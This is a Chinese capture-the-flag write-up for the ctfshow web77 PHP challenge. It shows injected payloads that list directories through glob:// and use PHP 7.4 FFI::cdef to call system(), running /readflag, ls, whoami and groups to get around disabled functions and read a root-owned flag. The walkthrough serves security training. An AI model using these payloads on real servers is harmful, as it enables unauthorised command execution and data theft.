[ctfshow web入门] web77

信息收集

上一题的读取flag方式不能用了,使用后的回显是:could not find driver

解题

同样的查目录方法

php 复制代码
c=var_export(scandir("glob:///*"));die();
php 复制代码
c=foreach(new DirectoryIterator("glob:///*") as $a){
    echo($a->__toString().' ');
}
ob_flush();
php 复制代码
c=if ( $a = opendir("glob:///*") ) {
    while ( ($file = readdir($a)) !== false ) {
        echo $file."<br>";
    }
    closedir($a);
    exit();
}

读取flag

关于FFI的博客:PHP7.4 FFI 扩展安全问题

我只说FFI:cdef的一些结论:

php7.4才有

第二个参数可以缺省,缺省时大多情况下也能找到对应函数,有点类似于C的GetProcAddress

这个被调用的C函数由于没有写权限,前端没有回显

php 复制代码
public static FFI::cdef(string $code = "", ?string $lib = null): FFI

最终答案

php 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('/readflag > 2.txt');die();

其中readflag是可执行文件,不是flag,所以执行/readflag后将结果输出到2.txt,就能拿到flag

由于没有目录穿透的手段了,只能复制到当前目录进行读取,可以使用include或是readgzfile啥的,都不影响

尝试过程

php 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('cp /flag36x.txt > 1.txt');
$ffi->system('cp /readflag 2.txt');die();

1.txt没有内容,2.txt是个ELF文件,开头有个ELF字样,就像windows可执行文件PE文件开头有MZ字样,图片文件开头也有PNG等能标识文件格式的字样。

这是一段伪C代码,因为这是从硬编码翻译过来的,与原来的C代码可能有所出入

使用uid设置为管理员权限

puts输出一段字符串

执行system("cat /flag36x.txt"),这和php中的代码效果相同

猜测/flag36x.txt只有管理员能读

执行下面命令查看文件属性

php 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('ls / -al > ls.txt');exit();

关于权限,看博客:Linux:文件权限详解及修改方法

看权限分类即可

php 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('whoami > who.txt');exit();

打开who.txt得到我们是www-data

php 复制代码
c=$ffi=FFI::cdef("int system(const char *command);");
$ffi->system('groups www-data > groups.txt');exit();

groups.txt得到www-data : www-data,显然我们不属于管理员用户组

而flag36x.txt的权限是拥有者可读所属用户组可读 ,我们不满足,无法读取

如果尝试复制这个文件就会提示如下错误

shell 复制代码
cp: missing destination file operand after '/flag36x.txt'
Try 'cp --help' for more information.

下一章就是web118
web76    目录    web118

相关推荐
用户0595401744616 小时前
LLM对话记忆测试踩坑实录:手工回归30分钟,自动化后2分钟发现3个隐藏Bug
前端·css
niaiheni16 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
Draina16 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
Ashley的成长之路17 小时前
前端性能优化实战手册·第2篇:资源加载策略全解
前端·性能优化·资源加载·http/3·性能优化实战·资源加载优化
浅水壁虎17 小时前
vue基础(第二章 )
前端·javascript·vue.js
界面开发小八哥17 小时前
界面控件DevExtreme v26.1新版亮点——支持Angular 22
前端·javascript·angular.js·devexpress·ui开发·devextreme
Getflare17 小时前
前端 + UI 设计 + AI:这不是三个工种,是一个新三角能力模型(附自检清单)
前端·人工智能·ui
oil欧哟17 小时前
我做了一个 Vibe Coding 术语学习站:VibeHub
前端·ai·agent·独立开发·vibe coding
审小匠OpenCPAi18 小时前
银行流水核查怎么自动化?单边匹配、双向勾稽与图聚类异常检测的工程对比
java·前端·人工智能·python·审计